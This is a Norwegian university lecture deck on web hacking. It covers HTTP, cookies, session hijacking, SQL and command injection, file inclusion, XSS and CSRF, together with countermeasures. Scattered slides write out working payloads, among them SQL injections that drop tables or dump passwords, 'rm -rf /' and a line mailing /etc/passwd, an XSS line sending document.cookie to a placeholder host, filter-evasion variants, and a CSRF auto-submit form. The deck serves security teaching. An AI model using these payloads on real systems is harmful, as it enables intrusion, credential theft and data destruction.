Sikkerhet og Hacking Forelesning 2 Hacking av nettsider Tom Heine Nätt
Hva må en webhacker vite om webben?
Hva må en hacker vite om webben? Internet er ikke det samme som www... IRC, mail, FTP, Torrents osv.. De viktige spesifikasjonene: HTML (/CSS) JavaScript URL (/URI) HTTP(/HTTPS) PHP(/Python) Hvordan teknologien fungerer i detalj Hvordan vi manuelt utfører de operasjonene som programvaren vanligvis gjør
Kilder: RFC-dokumenter De fleste standarder for nettet Protokoller Fremgangsmåter Teknologier Osv.. www.rfc-editor.org Spesielt: http://www.rfc-editor.org/rfcxx00.html F.eks: HTTP: http://www.rfc-editor.org/rfc/rfc2616.txt URL: http://www.w3.org/addressing/rfc1738.txt
Kilder: W3C World Wide Web Consortium Standardiserningsorgan for nyere versjoner av HTML XHTML: http://www.w3.org/tr/xhtml1/
Webteknologier I kortform
HTML Forhåpentligvis alt kjent Definerer: Websiders struktur Aktive elementer (form-tags) Referanser til andre elementer Bilder, video, flash CSS JavaScript Osv Metatags: http://vancouverwebpages.com/meta/metatags.detail.html
URL Uniform Resource Locator Forteller hvor en ressurs er Syntax: scheme://[user@]domene[:port]/filsti/filnavn For eksempel: http://www.hiof.no/index.html ftp://www.site.example/ Schemes: http, https, gopher, ftp, news, mailto, telnet, file osv
URL forts. - Parametere Kan også inneholde parametere Legg til:?param1=verdi1¶m2=verdi2 F.eks: http://www.google.no/search?hl=no&client=firefox- a&rls=org.mozilla%3aen- US%3Aofficial&hs=vqd&q=hiof&btnG=S%C3%B8k& meta= URL encoding: Maskere ugyldige tegn i en url slik som: Space => %20 / =>%2F & => %26? => %3F Osv
HTTP Overføringsprotokollen Nettleseren er den aktive parten En tekst -protokoll (line oriented) To forespørsel -formater GET Data sendes gjennom URL POST Data sendes i forespørselspakken Regel: POST dersom det å laste siden har en Bi-effekt som f.eks registrering Ett svarformat RESPONSE Stateless (ikke forbindelsesorientert) Alt er separate forespørsler (f.eks alle bilder) Eksempel: Live HTTP headers (firefox add-on)
HTTP GET GET /index.html HTTP/1.1 Host: www.tomheine.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q =0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.site.example/news.html
HTTP POST POST /index.html HTTP/1.1 Host: www.tomheine.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q =0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.site.example/news.html Content-Type: application/x-www-formurlencoded Content-Length: 25 usern=olan&passwd=drossap
HTTP - RESPONSE HTTP/1.x 200 OK Date: Wed, 28 Jan 2009 11:40:30 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13 Last-Modified: Sat, 24 Jan 2009 14:02:05 GMT Etag: "581e8-2a8-f350d140" Accept-Ranges: bytes Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Content-Length: 680 <html> <head>.. </html>
HTTP Interessante detaljer Referer (GET/POST) (Feilstavet ) Forteller hvor brukeren kommer i fra Google: søkeord i parameter Brukes ofte som en kontroll Dumt som vi skal se Sikkerhetshull (hvor kom du fra med hvilke parametere) Response-codes 200, 301, 404, 500 http://www.w3.org/protocols/rfc2616/rfc2616-sec10.html
Verktøy for manuell HTTP Telnet: telnet www.vg.no 80 GET /index.html HTTP/1.1 Host: www.vg.no MERK alle de underlige headerfeltene hos VG 301-svar GET /index.php HTTP/1.1 Host: www.vg.no Firefox: LiveHeaders
HTTPS Enkel forklaring: HTTP over en kryptert kanal Beskytter KUN overføringen av data/headers og mot man-in-the-middle attacks. Følgende skritt foretas: Server/Klient blir enige om krypteringsalgoritme Klienten validerer serverens sertifikat (Serveren validerer klienten) Gjøres (for) sjelden Blir enige om nøkkel
HTTPS-ulemper Brukeren! Gidder ikke bry seg om ugyldige sertifikater Vet ikke hva https-betyr, og kontrollerer det ikke Gir falsk trygghet Mot f.eks phishing-sider Er signeringen av sertifikatet riktig?
Domenenavn og IPAdresser
Domenenavn og IP-adresser DNS-servere står for oversettelsen 1. Vi taster nettadresse 2. Maskinen kontakter sin oppgitte(!!!) DNS 3. DNS svarer med Ip-adresse www.mxtoolbox.com / ping Hva om vi klarte å endre brukerens default DNS???
Modifisere webforespørsler Proxyservere/FirefoxTamper
Proxyservere Brukes som oftest til delte cacher Alle forespørsler går gjennom proxyen Vi kan endre forespørslene før de går videre Forespørslene kan logges Typisk programvare PenProxy Startes: java -jar penproxy.jar 8088 Hva om vi setter opp en proxy i instillingene til en annens maskin? Via virus, fake tutorials eller social engineering Eksempel: Skjult proxy (PenProxy)
Firefox Tamper Plugin til firefox Kan endre all headerinformasjon som sendes ut Eksempel
Cookies/Sessions
Cookies Informasjonskapseler Lagres på brukerens maskin (OBS!) Holder informasjon over flere sider /fra gang til gang Benyttes til: Hvilke annonser er sett Brukerinnstillinger på websider (farge, skriftstørrelse) Spore brukeren rundt på siden Handlekurver SessionID Osv I utgangspunktet kun samme webserver (OBS!) Om ikke path/domain er satt til noe annet
Cookies GET /index.html HTTP/1.1 Host: www.site.example HTTP/1.1 200 OK Content-type: text/html Set-Cookie: sessionid=aadd556ff GET /index2.html HTTP/1.1 Host: www.example.org Cookie: sessionid=aadd556ff.
Cookie Set-Cookie finnes i mer avanserte former: Set-Cookie: sessionid=aadd556ff; expires=fri, 01-Jan-2010 23:59:59 GMT; path=/; domain=.hiof.no HTTPOnly attributten path=/; domain=.hiof.no; HTTPOnly Hindrer f.eks Javascript uthenting
Sessions Kort fortalt: Serveren tildeler alle brukere en temporær ID Serveren lagrer data for en bruker med en viss ID ID en lagres som en cookie hos brukeren Hver forespørsel identifiseres av ID en som er lagret hos brukeren
Session hijacking Man tar over en annen brukers sessjon ved å angi denne brukerens ID som sin egen.. Hvordan få ID? Snappe opp Proxyserver Pakkesniffing Referer-headeren Stjele Lese cookie-filene fra disk Cross Site scripting Gjette Om for eksempel id lages av brukernavn osv.. Eksempel: Bruktbutikk + Firefox Tamper
Session hijacking Firesheep: https://github.com/codebutler/fires heep/downloads
Session hijacking - mottiltak Serveren husker brukers IP Problemer om IP endres ofte Ha en ekstra kontroll på f.eks User- Agent Hvor lenge skal sesjonene være åpne? Blir sesjons-id en generert random, eller basert på brukerinfo osv?
Hvorfor er nettet så sårbart? Hva tror dere?
Hvorfor er nettet så sårbart? Gammel teknologi Nye bruksområder Nye brukere Alt flyttes over på web Tjenester Personlig data Applikasjoner Mange hobbyprogrammerere Finner eksempelkode som ikke fokuserer på sikkerhet, men enkelhet Fornøyd når det funker Alle har tilgang Få forstår det som ligger bak Klarer ikke jeg, klarer ikke andre Sikkerhet er en merkostnad i utvikling
Hvorfor er nettet sårbart? Feiler en webserver, kan den risikere å vise koden Mange kjente feller å gå i Include Opplastning gjestebok Osv.. Glemmer å skille på client-side(usikker) og server-side(sikker) Alt nettleseren kan gjøre, kan man også gjøre manuelt (med endringer)
Hvorfor er nettet så sårbart Masse teite ideer for publisering Løpende artikkelnummer http:/www.firma.example/article.php?id=342323 Lett å skrape informasjon Gjettbare URL er medlems-sider gjennom å f.eks slenge på /member http://www.firma.example/reports/q12009.html Brukerspesifike løsninger http://www.nettbutikk.example/showorder.php?id =534534
Google Hacking Database
Google Hacking Database http://www.hackersforcharity.org/ghdb/ Søk etter felmeldinger osv. Søk etter kjente hyllevare-websider Søk etter tjenester Webkamera osv.
Brukerinput
Brukerinput Whitelisting vs. Blacklisting Hvor havner de tegnene vi ikke har tenkt på Whitelisting mer lett å glemme noe som burde vært lov (JFR: Nätt) Blacklisting er mer arbeid på forhånd, samt blir sjelden oppdatert raskt nok med nye farer som oppdages Hva er best? Usergenerated (inputfelter osv.) og servergenerated (cookies, headerfield osv.) Manipulasjon av servergenerated er helt klart hacking Ikke gi noen feilmelding osv for disse (kun hendelsen er logget ) Ikke gjør brukerens input gyldig, dersom den inneholder feil
Brukerinput Validering Mangel på validering som gir hackere muligheter Teknologier som regexp hindre mye F.eks vil da aldri telefonnummer forårsake SQL-injections Husk at input er mer enn tekst Coockies Hidden fiels Metadata i requests osv.. Mange former for validering Tegn Verdier (domain) Lengde (smart triks..) Gjør inputkontrollen FØRST! NB! Client-side validering!!! Greit for feilmeldinger, men ikke som sperre.
Eksempler på gal input Bestille negativt antall varer Fradato før tildato Osv
Data til undersystemer Stringer som sendes mellom systemer Tolkes som noe annet enn tekst i ett av systemene Fra bokstaver til kontrolltegn/metadata Problemet er når brukeren kan manipulere disse strengene
Data til undersystemer Flere teknikker Parametermanupilasjon SQL-injections Command-inejctions Cross-site scripting Osv..
Parametermanupilasjon
Parametermanupilasjon GET-request mellom sider Ofte uskyldige data i utgangspuntket Vi kan gå inn å endre parameterne i URL en Mange sider leser kun REQUEST Altså skiller ikke på POST og GET Kan benyttes til: Lure andre Lure systemet
Parametermanupilasjon: Google http://www.google.no/search? hl=no&q=hiof&btng=googles%c3%b8k&meta=&aq=f&oq= hl-verdier: fr en xx-elmer xx-klingon osv..
Parametermanupilasjon: SA-været http://www.sa.no/vis/vaeret/?city=sarpsborg& longitude=11.11&latitude=59.28&moh=50
Parametermanupilasjon Andre eksempler Hiofs-publiseringssystem Canadiske passsystemet Alle former for overføring av info mellom sider Registreringsystem Nettbutikker Popupvinduer
SQL-Injection
SQL-Injections Problemet: SQL er tekststrenger i programmering Bygges sammen, og sendes til DB.. Tenk: INSERT INTO Test VALUES( Per ); INSERT INTO Test VALUES( Per s bakeri );
Typisk Kode <?php $fornavn=$_get[ fornavn ]; $etternavn=$_get[ etternavn ]; $sql = INSERT INTO Test VALUES(.$fornavn.,.$etternavn. ) ; mysql_query($sql,$con);?>
SQL-Injection Eksempel 1 Turid SELECT kolonne FROM tabell WHERE kolonne2=' '; '; DELETE FROM tabell WHERE kolonne2!= '
SQL-Injection Eksempel 2 per test SELECT * FROM user WHERE username= ' AND password=' '; per -- ' OR ''=' per OR 1 = 2 Altså En setning to svakhter (Husk AND har høyere presedens enn OR)
SQL-Injection Eksempel 3 45 SELECT * FROM Bruker WHERE ID = 45; DROP TABLE Bruker
SQL-Injection Eksempel 4 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45 UNION SELECT 0, brukernavn, passord FROM Login Typisk: $_GET[ varenummer ]
SQL-Injection Eksempel 5 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45; UPDATE Produkt SET produktnavn = (SELECT passord FROM Kunde WHERE brukernavn= olehansen ) WHERE id=45
SQL-Injection Eksempel 6 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45; SHUTDOWN
SQLinjections - Eksempler loginsql.php sokesql.php
SQL-Injection Vi kan også benytte tegnkoder for databasen Overses ofte av filtreringer i programmeringsspråket F.eks: Char(39) => 0x27 =>
SQL-Injections Hvordan kjenne strukturen på spørringen Gjettninger/resonement Fremprovosere feilmeldinger F.eks: ugyldige injection -forsøk Om man er heldig vises hele kodelinja med SELECT-setningen HAVING/GROUP BY trikset Vil avsløre kolonnenavn Brute Force Få tak i kildekoden
SQL-Injections Hvordan forhindre: Benytte lagrede prosedyrer Sende variabler(med typer), istedenfor tekst til DB Prepared statements SELECT * FROM Kunde WHERE name=? Escape farlige tegn F.eks blir til \ eller Blacklisting vs. Whitelisting Sette rettigheter Ingen av disse er 100% sikre Alle prog. språk/db har sine feil Fort gjort å stole helt på dette
Sikkerhet og DB Vær ytterst forsiktig med å ha brukerinfo i kildekoden Andre autentiseringskilder Innlogging Sertifikater Tjenesteserver La mest mulig av prosesseringen foregå i DBMS. Prosedyrer SQL-prosessering (hent ut minst mulig data ) Pass på serverscript... Kan komme i gale hender ved serverfeil.. Unngå "sqlzoo.net"-bokser Utfør aldri DB-administrative oppgaver direkte fra appl. Skjul mest mulig spor av db i feilmeldinger og resultater
Command Injection
Command Injection Tilsvarende som SQL-Injection, men at vi kjører systemkommandoer i webscriptene F.eks: *.txt echo `ls `; *.txt; rm rf /
Command Injection 10 echo `cal `; 10; sendmail test@test.com < /etc/passwd; 10; cat adjø > /var/log/apache2/access_log
Filopplasting
Filopplasting Om filene senere presenteres på websiden.. Hva med: Å laste opp minfil.php (minfil.php%00.jpg) Eksempel: filopplasting.html
Inkludering av filer
Inkludering av filer Typisk: index.php?side=test.php index.php?side=/etc/passwd Fare for at brukeren kan få Se systemfiler Se programkoden Uendelig mange måter å lure slike script på om man ikke har en whitelist-chek F.eks %00-tegnet eller \0 (null-byte) Eksempel: include1.php, include2.php, include3.php
Cross-site scripting (XSS)
Cross-site scripting (XSS) Baserer seg på websider der bruker skriver inn data, som senere presenteres på en webside Gjestebøker Blogger (kommentarfelt) Annonsemarked Nettleksikon Mer riktig definisjon: Lure en webside til å vise utvalgte HTML-koder Evt URL-parametere Baserer seg på at (HTML/)JavaScript er tekst Og alt for mange måter å skrive JS-kode på
XSS-eksempel Eksempel: artikel.php
XSS Benyttes til Vise uheldig data Endre data som vises Stjele cookies fra brukerne Session hijacking Utnytte sikkerhetshull i nettlesere Endre hvor forms sender data Osv
XSS - Eksempler Artikkel.php Gjestebok.php
XSS Vanlig kode <!-- (skjuler resten av innleggene osv) <script>window.open( http://www.hacking.example/ ) </script> Legg til: for(i=0;i<1000;i++) <script>document.location.replace( url )</script> <script>document.body.innherhtml.replace( noe, noe annet )</script> F.eks kontonummeret på siden til et firma
XSS Hvordan skjule <script src=http://www.hacker.example/script.js> ><script> </script><q q= Dersom: <input type= text value= > <sc<script>ript>.</sc<script>ript> Dersom noen filtrerer for <script> +ADW-script+AD4- +ADW-/script+AD4- Ascii/unicode fare Viktig å angi tegnsette i meta-taggen Se http://ha.ckers.org/xss.html for flere/andre..
XSS Session hijacking document.location.replace( http://example.test.c om/test.php?info= + document.cookie); Eksempel: bruktmarked Eksempel: Søkeboks (web/index.php) Her kan man redirecte tilbake igjen til riktig side, samt sette en cookie som gjør at man ikke blir redirected i en uendelig løkke Hva om vi gjør dette i en IFrame?
Måter å skrive JavaScript på <script> </script> <a href= javascript: > Også for <img src= > <body onload= > onclick, ondbclick,onmousedown, onkeypress osv.. + mange flere browserpesifike
XSS og URL -parametere Dersom en url-parameter vises på en webside. http://www.test.example/greeting.php?name= Tom%20Heine<script>osv..</script> Krever at vi lurer brukeren å gå inn på den bestemte URL en.. Eksempel: greeting.php F.eks endre søkeresultater i et telefonkatalogoppslag
XSS og Mail Alle nyere web-mailklienter leser HTML-mail Og er derfor utsatt for XSS
XSS - mottiltak Filtrere bort alle farlige tegn (html encoding/entities): & => & => " < => < > => > => ' Uansett nyttig.. Ikke bare for XSS tenk brukerinput med f.eks: > Filtrere bort enkelte tagger Omtrent umulig å få riktg/tenke på alle muligheter Uendelig mange variasjoner på skrivemåter nettelsere er for snille Benytte ferdige editorer som gjør jobben Skru av JS i nettleser umulig løsning Kan være en idee å også filtrere under output For å være sikker på å få med alt Etter prossesering
Manipulasjon av websider FireBug
Firebug Legge til valg i lister Fjerne/disable Javascript kontroller Legge til/endre hidden -felter
Firebug-eksempler/server generert data F.eks kontooversikt... <form action= vis.php metohd= get > Konto: <select name= konto > <option value= 1111.22.33333 >Konto 1</option> <option value= 4444.55.66666 >Konto 2</option> </select> </form> Eksempel: regskjema.php
Logging
Logging Alt man gjør logges Ofte usikkerhetsmomentet ved et angrep Er den angrepnes beste Bevis Metode for å tette hull Metode for å oppdage angrepet Får man tilgang til loggfilene, kan de bli nyttig verktøy Prøve noe, se på resultat
Dos-angrep
DoS angrep For mange forespørsler For mye data F.eks laste opp kjempefil Forespørsler som setter i gang kompliserte operasjoner ugyldige verdier Utnytte feil i programkode Evige løkker Forespørsler som er umulige å skille fra ekte
Web-Trojaner
Web-Trojaner Også kjent som CSRF /XSRF Cross-site request forgery Lure noen inn på en webside ( med visse parametere satt) Email spoofing, XSS, Phishing osv. Spesielt nyttig når en bruker alt er innlogget på en tjeneste Evt. En remember me -sak Eksempler på bruk: Lure til kjøp av aksjer http://megler.example/buy.php?paper= NHY.OL &amount=40000&pric e=100 Lure noen til å legge deg til som facebookvenn http://www.facebook.com/addfriend.php?userid=3423233 (ikke autentisk) Poste på din facebook-side http://www.facebook.com/addmessage.php?message=jeg er en gjøk (ikke autentisk) Linkene kan også se vennlige ut, men med redirect http://www.humor.test/image111.html
Web-Trojaner - Hvordan Via GET-URL Kan være en normal URL med redirect til f.eks http://example.com/test.php?param=... Via Autopost-form-sider (POST) <form name= test action= method= post > <input type= hidden name= param value= > </form> <script> document.getelementbyid( test ).submit()</script>
Web-Trojanere - Løsninger Et nytt kjempeproblem! Eksempel: autopost.html/ kulside.html Eksempel: CSRF-hiof (web/index.php) Mottiltak: Bekreftelse med passord/passordkalkulatorer Captchas Ticket/FormID-løsninger Men: Frame-løsninger (en for virkelige siden som er usynlig, en med fakesiden og samme id)
Flash-animasjoner
Flashanimasjoner Flash-animasjoner kaller ofte skjulte URL er med artige parametere Annen type programmerere Tenker at dette er jo hemmelig fordi binært Highscore: sethighscore.php?name=thn&score=5600 Mottiltak Generere med en hemmelig sjekksum/passord basert på navn/score sethighscore.php?name=thn&score=5600&check= AE3432DDF32 Julekalender: submit.php?name=tom%20heine&email=tom.h.nat t@hiof.no&luke=14
Automatisk skraping
Automatisk skraping Man kan lett tømme en website for informasjon via programvare som skraper all data Eksempel: vgnet.php Eksempel: Tele2-saken
Finne skjulte data Robots.txt Disallow Nummererte artikkler Google-søk med site:
Bakveien
Bakveien De aller fleste websider kan nåes via FTP og SSH FTP sender passord i klartekst Kommer vi inn her, kan vi både se og modifisere kode
Andre triks
Andre triks Rekkefølge som f.eks REQUEST søker i Hva om GET før POST? PHP sin autovariabelmapping Eksempel: register_globals.php Kun om server er satt opp rart
Andre triks Edit-sider ID som skal oppdateres er et hidden field.. Se etter kommentarer i HTMLkildekoden Mange kommenterer f.eks PHP med <!- -og -->
Andre triks Inputvalidering på første side så hidden-felter på videre sider Data er innom brukeren flere ganger, men valideres ofte bare første gang Typisk: Bestillingssider Link-CSS JS: getcomputedstyle() <= Avslører history
Andre triks God samleside med Firefox-utvidelser for hackere http://timtux.net/articles/turning+firefox+into+a+ Web+Application+Assault+Kit Lost password Sender passord i klartekst via mail Passordinlogging: DoS-angrep: Bruk opp alle 3 forsøk på alle brukere Alt for mange sider autentiserer bare tilgang på form en, og ikke det som sendes inn Vi kan derfor lage vår egen form og sende inn data uten å egentlig ha tilgang, om vi vet hvordan formen ser ut
Andre triks GET-URL er som er sendt over HTTP er synlig i Historikken Logger Routere ISP Wiretapping Osv.. Obs: Hemmelig data i GET-requests (f.eks session ID) Synelig som Referer-metadata på neste side.. OBS!!!! Derfor: Aldri gå fra en sikker til en usikker side direkte!
Andre triks Mange benytter encoding som encryption.. F.eks BASE64 Sikker side, som sender opplysningene til deg som mail etterpå Websider viser ofte ukjente filformater som tekst http://www.test.example/index.ph%70 Sikkerhetshull i Webserverne
CMS-systemer
CMS-systemer Baserer seg på?id=4844 prinsippet Mye brukt = kjente exploits Standardkontoer
Sikker kode
Hvordan skrive sikker kode Ikke tro at ingen kan hacke, fordi det bak er skjult F.eks tabellnavn, filstruktur osv Aldri dupliser kode Benytt funksjoner Isoler funksjonalitet Benytt funksjoner Skriv forstårlig/enkel kode Benytt funksjoner Kommenter kode Eller skriv selvforklarende kode Lær deg programmeringsspråkets særegenheter.. Vær flink til å logge hendelser med mye info
Til neste gang (21/2) Prosjekt 2 Les Art of Deception -boka Samle på SPAM